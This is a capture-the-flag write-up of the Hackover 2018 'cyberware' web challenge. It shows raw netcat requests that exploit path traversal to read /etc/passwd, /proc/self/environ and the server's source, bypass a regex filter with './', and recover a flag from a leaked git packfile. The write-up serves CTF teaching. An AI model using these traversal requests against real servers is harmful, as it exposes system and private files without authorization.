*([Original write-up](https://security.meta.stackexchange.com/a/3087/95381) by [@rawsec](https://twitter.com/rawsec/))*

## cyberware (web, 416)

We get a very basic web app that hosts some text files. Clicking on them in
the browser doesn't get us anywhere (later, we'll find out that this is
because the app detects and disallows referrers). So, let's use `curl`:

$ curl -v "http://cyberware.ctf.hackover.de:1337/cat.txt"  
...  
< HTTP/1.1 200 Yippie  
< Server: Linux/cyber  
< Date: Sun, 07 Oct 2018 21:04:46 GMT  
< Content-type: text/cyber  
< Content-length: 165  
<  

    
    
           ____  
          (.   \  
            \  |  
             \ |___(\--/)  
           __/    (  . . )  
          "'._.    '-.O.'  
               '-.  \ "|\  
                  '.,,/'.,,  
        

Awww! Now, one of the usual things to try with custom web apps is directory
traversals. Note that we can't use curl here because it rewrites paths before
sending them. So let's get raw:

$ echo "GET /../ HTTP/1.1\n" | nc cyberware.ctf.hackover.de 1337 | head -n 1  
HTTP/1.1 403 You shall not list!

Ha, it seems to be handling the parent directory but disallows listing. What
about absolute paths?

$ echo "GET //etc/passwd HTTP/1.1\n" | nc cyberware.ctf.hackover.de 1337 | tail -n +7  
root:x:0:0:root:/root:/bin/ash  
bin:x:1:1:bin:/bin:/sbin/nologin  
daemon:x:2:2:daemon:/sbin:/sbin/nologin  
adm:x:3:4:adm:/var/adm:/sbin/nologin  
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin  
sync:x:5:0:sync:/sbin:/bin/sync  
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown  
halt:x:7:0:halt:/sbin:/sbin/halt  
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin  
news:x:9:13:news:/usr/lib/news:/sbin/nologin  
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin  
operator:x:11:0:operator:/root:/bin/sh  
man:x:13:15:man:/usr/man:/sbin/nologin  
postmaster:x:14:12:postmaster:/var/spool/mail:/sbin/nologin  
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin  
ftp:x:21:21::/var/lib/ftp:/sbin/nologin  
sshd:x:22:22:sshd:/dev/null:/sbin/nologin  
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin  
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin  
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin  
games:x:35:35:games:/usr/games:/sbin/nologin  
postgres:x:70:70::/var/lib/postgresql:/bin/sh  
cyrus:x:85:12::/usr/cyrus:/sbin/nologin  
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin  
ntp:x:123:123:NTP:/var/empty:/sbin/nologin  
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin  
guest:x:405:100:guest:/dev/null:/sbin/nologin  
nobody:x:65534:65534:nobody:/:/sbin/nologin  
ctf:x:1000:1000::/home/ctf:

Awesome, now how do we find interesting files from here? On Linux, the
`procfs` can give us some information about the environment:

$ echo "GET //proc/self/cmdline HTTP/1.1\n" | nc cyberware.ctf.hackover.de 1337 | tail -n +7  
/usr/bin/python3./cyberserver.py

$ echo "GET //proc/self/environ HTTP/1.1\n" | nc cyberware.ctf.hackover.de 1337 | tail -n +7  
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binHOSTNAME=7c26257684d8TERM=xtermHOME=/home/ctf

Seems like the server file is called `cyberserver.py`. Let's try to fetch it
directly from home:

$ echo "GET //home/ctf/cyberserver.py HTTP/1.1\n" | nc cyberware.ctf.hackover.de 1337 | tail -n +7  
#!/usr/bin/python3  
from threading import Thread  
from sys import argv  
from sys import getsizeof  
from time import sleep  
from socketserver import ThreadingMixIn  
from http.server import SimpleHTTPRequestHandler  
from http.server import HTTPServer  
from re import search  
from os.path import exists  
from os.path import isdir

class ThreadingSimpleServer(ThreadingMixIn, HTTPServer):  
pass

class CyberServer(SimpleHTTPRequestHandler):  
def version_string(self):  
return f'Linux/cyber'

def do_GET(self):  
self.protocol_version = 'HTTP/1.1'

referer = self.headers.get('Referer')  
path = self.path[1:] or ''

if referer:  
self.send_response(412, 'referer sucks')  
self.send_header('Content-type', 'text/cyber')  
self.end_headers()  
self.wfile.write(b"Protected by Cyberware 10.1")  
return

if not path:  
self.send_response(200, 'cyber cat')  
self.send_header('Content-type', 'text/html')  
self.end_headers()  
for animal in ['cat', 'fox', 'kangaroo', 'sheep']:  
self.wfile.write("{0}.txt  
"  
.format(animal).encode())  
return

if path.endswith('/'):  
self.send_response(403, 'You shall not list!')  
self.send_header('Content-type', 'text/cyber')  
self.end_headers()  
self.wfile.write(b"Protected by Cyberware 10.1")  
return

if path.startswith('.'):  
self.send_response(403, 'Dots are evil')  
self.send_header('Content-type', 'text/cyber')  
self.end_headers()  
self.wfile.write(b"Protected by Cyberware 10.1")  
return

if path.startswith('flag.git') or search('\\\w+/flag.git', path):  
self.send_response(403, 'U NO POWER')  
self.send_header('Content-type', 'text/cyber')  
self.end_headers()  
self.wfile.write(b"Protected by Cyberware 10.1")  
return

if not exists(path):  
self.send_response(404, 'Cyber not found')  
self.send_header('Content-type', 'cyber/error')  
self.end_headers()  
self.wfile.write(b"Protected by Cyberware 10.1")  
return

if isdir(path):  
self.send_response(406, 'Cyberdir not accaptable')  
self.send_header('Content-type', 'cyber/error')  
self.end_headers()  
self.wfile.write(b"Protected by Cyberware 10.1")  
return

try:  
with open(path, 'rb') as f:  
content = f.read()

self.send_response(200, 'Yippie')  
self.send_header('Content-type', 'text/cyber')  
self.send_header('Content-length', getsizeof(content))  
self.end_headers()  
self.wfile.write(content)  
except Exception:  
self.send_response(500, 'Cyber alert')  
self.send_header('Content-type', 'cyber/error')  
self.end_headers()  
self.wfile.write("Cyber explosion: {}"  
.format(path).encode())

class CyberServerThread(Thread):  
server = None

def __init__(self, host, port):  
Thread.__init__(self)  
self.server = ThreadingSimpleServer((host, port), CyberServer)

def run(self):  
self.server.serve_forever()  
return

def main(host, port):  
print(f"Starting cyberware at {host}:{port}")  
cyberProtector = CyberServerThread(host, port)  
cyberProtector.server.shutdown  
cyberProtector.daemon = True  
cyberProtector.start()  
while True:  
sleep(1)

if __name__ == "__main__":  
host = "0.0.0.0"  
port = 1337  
if len(argv) >= 2:  
host = argv[1]  
if len(argv) >= 3:  
port = int(argv[3])  
main(host, port)

Important things we find in that web server implementation are:

\- Paths can't start with `.`  
\- Paths can't end with `/`  
\- There is a restriction for a path with `path.startswith('flag.git') or
search('\\\w+/flag.git', path)`

So it looks like we need to get into that `flag.git/` dir!

$ echo "GET //home/ctf/flag.git HTTP/1.1\n" | nc cyberware.ctf.hackover.de 1337 | head -n 1  
HTTP/1.1 403 U NO POWER

Uh-oh, access denied! But we can simply bypass that `\w+/flag.git` regex.
because putting a `./` inside the path doesn't change the location but a `.`
doesn't match `\w`:

$ echo "GET //home/ctf/./flag.git HTTP/1.1\n" | nc cyberware.ctf.hackover.de 1337 | head -n 1  
HTTP/1.1 406 Cyberdir not accaptable

Well, no directory listing. But the `.git` ending seems to indicate it's a git
meta directory. So, let's try to extract some common files you may find in a
`.git/` dir:

File `/flag.git/HEAD`:

ref: refs/heads/master

File `/flag.git/refs/heads/master`:

b69c0fc2567dc2d0e59c6e6a10c7e5afd3013b6a

Now, we can't just extract all git objects without knowing their locations,
but we just discovered an object hash, so we *should* be able to download it.

$ echo "GET //home/ctf/./flag.git/objects/b6/9c0fc2567dc2d0e59c6e6a10c7e5afd3013b6a HTTP/1.1\n" | nc cyberware.ctf.hackover.de 1337 | head -n 1  
HTTP/1.1 404 Cyber not found

Odd! Usually, objects are in `.git/objects/`, but we can't locate that one.
Let's dig a little more...

`/flag.git/COMMIT_EDITMSG`:

better delete everything ... so its safe  
# Please enter the commit message for your changes. Lines starting  
# with '#' will be ignored, and an empty message aborts the commit.  
# Explicit paths specified without -i or -o; assuming --only paths...  
# On branch master  
# Changes to be committed:  
# deleted: ups  
#  
# ------------------------ >8 ------------------------  
# Do not touch the line above.  
# Everything below will be removed.  
diff --git a/ups b/ups  
deleted file mode 100644  
index 8c2f73b..0000000  
\--- a/ups  
+++ /dev/null  
@@ -1 +0,0 @@  
-make cyber tool to call cyberwehr for cygeremergency

Okay, so they deleted a file called `ups`, so we can't locate that either. But
there's another mechanism for git to store objects -- [packfiles](https://git-
scm.com/book/en/v2/Git-Internals-Packfiles)! Packfiles are a great feature
because compressing (and storing only diffs instead of all file versions)
helps git to keep the footprint small. Let's see if there are any packs:

File `/flag.git/objects/info/packs`:

P pack-1be7d7690af62baab265b9441c4c40c8a26a8ba5.pack

Nice, there's a packfile and we can conclude where it's located, so we can
download the `.pack` and the corresponding index file:

/flag.git/objects/pack/pack-1be7d7690af62baab265b9441c4c40c8a26a8ba5.pack  
/flag.git/objects/pack/pack-1be7d7690af62baab265b9441c4c40c8a26a8ba5.idx

But since they aren't plaintext we can't just read them. So let's make a dummy
repo for them:

$ mkdir /tmp/foo  
$ cd /tmp/foo  
/tmp/foo $ git init

Copy the downloaded packfiles into it:

/tmp/foo $ cp ~/downloads/pack.pack ~/downloads/pack.idx .git/objects/pack

Now, of course, the indexing etc. in our dummy repo is all messed up, so let's
just use the tool [`git-repair`](https://git-repair.branchable.com/) to fix
all those references.

/tmp/foo $ git-repair  
Running git fsck ...  
Unpacking all pack files.  
Unpacking objects: 100% (15/15), done.

Successfully recovered repository!  
You should run "git fsck" to make sure, but it looks like everything was
recovered ok.

Let's verify:

/tmp/foo $ git fsck

notice: HEAD points to an unborn branch (master)  
Checking object directories: 100% (256/256), done.  
notice: No default references  
dangling commit dd9ebcb882411a06c33ea9d8e4246acf70e7372e  
dangling commit b69c0fc2567dc2d0e59c6e6a10c7e5afd3013b6a

Uh, we have dangling commits? Let's have a look...

/tmp/foo $ git branch dangling dd9ebcb882411a06c33ea9d8e4246acf70e7372e  
/tmp/foo $ git checkout dangling  
/tmp/foo $ git log -p -2

commit dd9ebcb882411a06c33ea9d8e4246acf70e7372e (HEAD -> dangling)  
Author: CyberControlCenter <[email protected]>  
Date: Sat Oct 8 23:05:18 2016 +0200

better delete everything ... so its safe

diff --git a/ups b/ups  
deleted file mode 100644  
index 8c2f73b..0000000  
\--- a/ups  
+++ /dev/null  
@@ -1 +0,0 @@  
-make cyber tool to call cyberwehr for cygeremergency

commit c0e01b58327e785a581c32b97e639014aef0f31e  
Author: CyberControlCenter <[email protected]>  
Date: Sat Oct 8 23:05:02 2016 +0200

ups did not happen. hide secret again

diff --git a/hackover16{Cyb3rw4hr_pl5_n0_taR} b/ups  
similarity index 100%  
rename from hackover16{Cyb3rw4hr_pl5_n0_taR}  
rename to ups

A `hackover16` fake flag? What's wrong with these guys... Let's check the
other one then:

/tmp/foo $ git branch dangling2 b69c0fc2567dc2d0e59c6e6a10c7e5afd3013b6a  
/tmp/foo $ git checkout dangling  
/tmp/foo $ git log -p -2

commit b69c0fc2567dc2d0e59c6e6a10c7e5afd3013b6a (HEAD -> dangling2)  
Author: CyberControlCenter <[email protected]>  
Date: Sat Oct 8 23:05:18 2016 +0200

better delete everything ... so its safe

diff --git a/ups b/ups  
deleted file mode 100644  
index 8c2f73b..0000000  
\--- a/ups  
+++ /dev/null  
@@ -1 +0,0 @@  
-make cyber tool to call cyberwehr for cygeremergency

commit 19f882c9ad7aec1e682511525cc43e271896ae9e  
Author: CyberControlCenter <[email protected]>  
Date: Thu Sep 27 22:11:38 2018 +0200

ups did not happen. hide secret again

diff --git a/hackover18{Cyb3rw4r3_f0r_Th3_w1N} b/ups  
similarity index 100%  
rename from hackover18{Cyb3rw4r3_f0r_Th3_w1N}  
rename to ups

There we go, in the verbose logs we can find that the file `ups` had once been
renamed from:

hackover18{Cyb3rw4r3_f0r_Th3_w1N}